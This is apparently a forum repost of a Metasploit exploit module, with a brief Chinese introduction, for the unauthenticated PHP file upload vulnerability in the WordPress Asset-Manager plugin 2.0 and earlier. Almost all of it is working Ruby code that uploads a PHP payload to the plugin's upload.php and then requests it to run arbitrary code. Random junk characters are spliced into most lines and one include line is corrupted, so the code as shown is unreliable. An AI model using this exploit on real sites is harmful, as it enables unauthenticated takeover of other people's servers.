这个模块利用Metasploi脆弱漏洞库在WordPress版本Asset-Manager插件2.0以及以下版本发现的。允许上传php文件、一用户可以上传一个文件到一个临时目录没有身份验证,从而导致执行任意代码。" x0 V3 v/ G5 U
$ n3 K! K. m& n9 D6 Z
### |1 G: W% I- t/ A0 h1 j* c
# This file is part of the Metasploit Framework and may be subject to
$ J, b! |. p q# redistribution and commercial restrictions. Please see the Metasploit
% I l6 S8 O4 T8 ?( G( N# Framework web site for more information on licensing and terms of use.) @" N' |* I7 _, c; z8 f
# http://metasploit.com/framework/0 V( Z9 J0 j$ C3 d; h
## ~+ q) x; N: ~( {& `4 n
- K8 J' j$ C& p# N4 Srequire 'msf/core'* V- s2 u/ `3 X& z7 e( w0 M o
require 'msf/core/exploit/php_exe'* I% `9 B) m V; l5 h$ r2 v
1 }7 D( @& ^9 S0 C2 Eclass Metasploit3 < Msf::Exploit::Remote
1 O* Q+ g, \' |+ x6 r! L2 o Rank = ExcellentRanking, m: j1 q# i& g Q0 O; A% @
0 |# Y, n) v$ s" p& U
include Msf::Exploit::Remote::HttpClient* r! u5 z3 t( I$ Q' S7 s
include Msf::Exploit: hpEXE0 X' Y8 S# K! w3 F1 c S0 @
1 @ S( N" ]! F def initialize(info = {}); x9 t" u9 I% t7 U% C* e' }
super(update_info(info,) J( z4 V) E; m' G+ t# W
'Name' => 'WordPress Asset-Manager PHP File Upload Vulnerability',. t+ q- D* u* P/ k/ g$ Y
'Description' => %q{/ x9 `0 E+ I) b9 G# \4 u* m" g
This module exploits a vulnerability found in Asset-Manager <= 2.0 WordPress
7 ], H, i) D5 p2 D3 m plugin. By abusing the upload.php file, a malicious user can upload a file to a; z+ w5 i- N" W. n! s* J) W
temp directory without authentication, which results in arbitrary code execution.
. D$ p0 O' A+ y },8 j5 g& L1 b2 k* X
'Author' =>
1 g4 z7 x8 _) x$ Z [
+ h/ F3 Q8 F" }6 |) p 'Sammy FORGIT', # initial discovery3 `8 f3 q5 y; u" b+ s
'James Fitts <fitts.james[at]gmail.com>' # metasploit module C/ e. F8 W5 T# S. w' j
],3 I6 U2 R) i1 z `! K
'License' => MSF_LICENSE,
% d5 `! b& T" x5 V 'References' =>1 L3 w( t7 d- R$ Q1 q% E! F* n/ y# L
[
1 f0 s3 ^& n P+ L* F4 z9 | [ 'OSVDB', '82653' ],
8 W" A: F) u$ _8 Q2 `2 J) s) y$ [ [ 'BID', '53809' ],
8 v* K L$ S1 p) B: |2 Z& b; O [ 'EDB', '18993' ],3 P6 m5 u' N( ^: H
[ 'URL', 'http:// www.myhack58.com /' ]
. \+ ~7 g; c. N4 g \4 N" |' x ],
5 Z+ j/ m0 G! C0 F0 R* |9 y 'Payload' =>
) G% x9 [; j0 {1 |& X O {. I, u% m2 q4 d: c" }
'BadChars' => "\x00",; O3 m* c" V G
},0 c9 p" N' w3 W, H
'Platform' => 'php',
. T# ]; D; m" h9 R5 ] 'Arch' => ARCH_PHP,
/ D+ B0 u3 T4 V3 _1 D) Z 'Targets' =>
; ]' v- G" r# ^9 N! l0 c1 C [
3 Z! [5 P' W6 q7 N6 I& ?3 t8 {6 T [ 'Generic (PHP Payload)', { 'Arch' => ARCH_PHP, 'Platform' => 'php' } ],
c, t/ ]" `% b% ]2 w* [4 O( { [ 'Linux x86', { 'Arch' => ARCH_X86, 'Platform' => 'linux' } ]; `, J6 S$ w/ K- f' M( j
],4 B" O- v( I$ {& B- T
'DefaultTarget' => 0,
K) a0 K" `0 U7 X 'DisclosureDate' => 'May 26 2012'))6 l% o- f2 \& X2 F1 M
- n/ S8 O3 y" ~4 I register_options(
0 A; k- T- N7 `5 o [
! r3 _. A5 y8 T6 B OptString.new('TARGETURI', [true, 'The full URI path to WordPress', '/wordpress'])3 x; D+ o- X$ U# a2 |& L
], self.class)
! q& w$ u" s! j# z5 r0 y! i8 x! E$ P end5 w" D" w: A: ?
! \8 ~% d0 b% J9 ^: A def exploit
, O7 e: |- C8 i8 n' a# U ` uri = target_uri.path
' o ?8 ], r A4 N uri << '/' if uri[-1,1] != '/'
1 C7 l8 }5 j* A& W& W peer = "#{rhost}:#{rport}"
$ V- X% Z1 P9 ^7 G$ p, m payload_name = "#{rand_text_alpha(5)}.php"
$ W" ?) A. z: M+ a6 M4 j0 P) D0 D php_payload = get_write_exec_payload(:unlink_self=>true)7 x9 P+ D b) t
( b" @/ x' C8 j* ` [- V
data = Rex::MIME::Message.new
& v8 N8 l5 h1 r4 ~ data.add_part(php_payload, "application/octet-stream", nil, "form-data; name=\"Filedata\"; filename=\"#{payload_name}\"")9 w: k; c" o3 ~7 w2 M/ M
post_data = data.to_s.gsub(/^\r\n\-\-\_Part\_/, '--_Part_')1 N* \/ B) S' S/ j
1 _2 \" q$ X W/ ?2 Z3 b. v+ U
print_status("#{peer} - Uploading payload #{payload_name}")+ f' _$ W$ u) B" _- `$ A
res = send_request_cgi({; u0 |: r ^# R3 t
'method' => 'POST',
q5 y, l/ a9 b+ t/ N 'uri' => "#{uri}wp-content/plugins/asset-manager/upload.php",
1 e5 V0 R; ^5 ?1 @' [7 ` 'ctype' => "multipart/form-data; boundary=#{data.bound}",9 I; K' v1 R* u; N# M5 [
'data' => post_data
7 ], M9 y. |( R- t7 K: Z }): n+ Y& t" L$ m" C8 \& o
' s, g6 S% R! n* A, F" t$ t
if not res or res.code != 200 or res.body !~ /#{payload_name}/
" ]2 Q/ J/ Z; a0 H6 |) Y) I- k Z8 r fail_with(Exploit::Failure::UnexpectedReply, "#{peer} - Upload failed")- S9 c$ F, b# Y) R, l% f3 c
end) }7 f5 L% z% ]1 ~9 H. d7 v" k
0 d: d% B& a3 _$ V% K. o1 B
print_status("#{peer} - Executing payload #{payload_name}")( |! U; C; Z; e, w/ f
res = send_request_raw({
# [) e$ E4 `* q+ S0 t 'uri' => "#{uri}wp-content/uploads/assets/temp/#{payload_name}",
' q7 W& R' S3 s: U8 y 'method' => 'GET': }# c! f% s7 y. P; S( y
})
0 \5 l# c/ v* W# ^2 y. p' j( u/ L
1 x" `' _. \# O# P if res and res.code != 200+ {4 y. S3 Y' j" @* @/ p0 ]6 F8 |
fail_with(Exploit::Failure::UnexpectedReply, "#{peer} - Execution failed")) T X; q" w' Q
end) z, a! h7 e, D# ]+ _
end
$ R7 W' S$ @* C( E* v' B! C3 ^end9 v9 v- g2 g$ g1 s# L* _8 c
|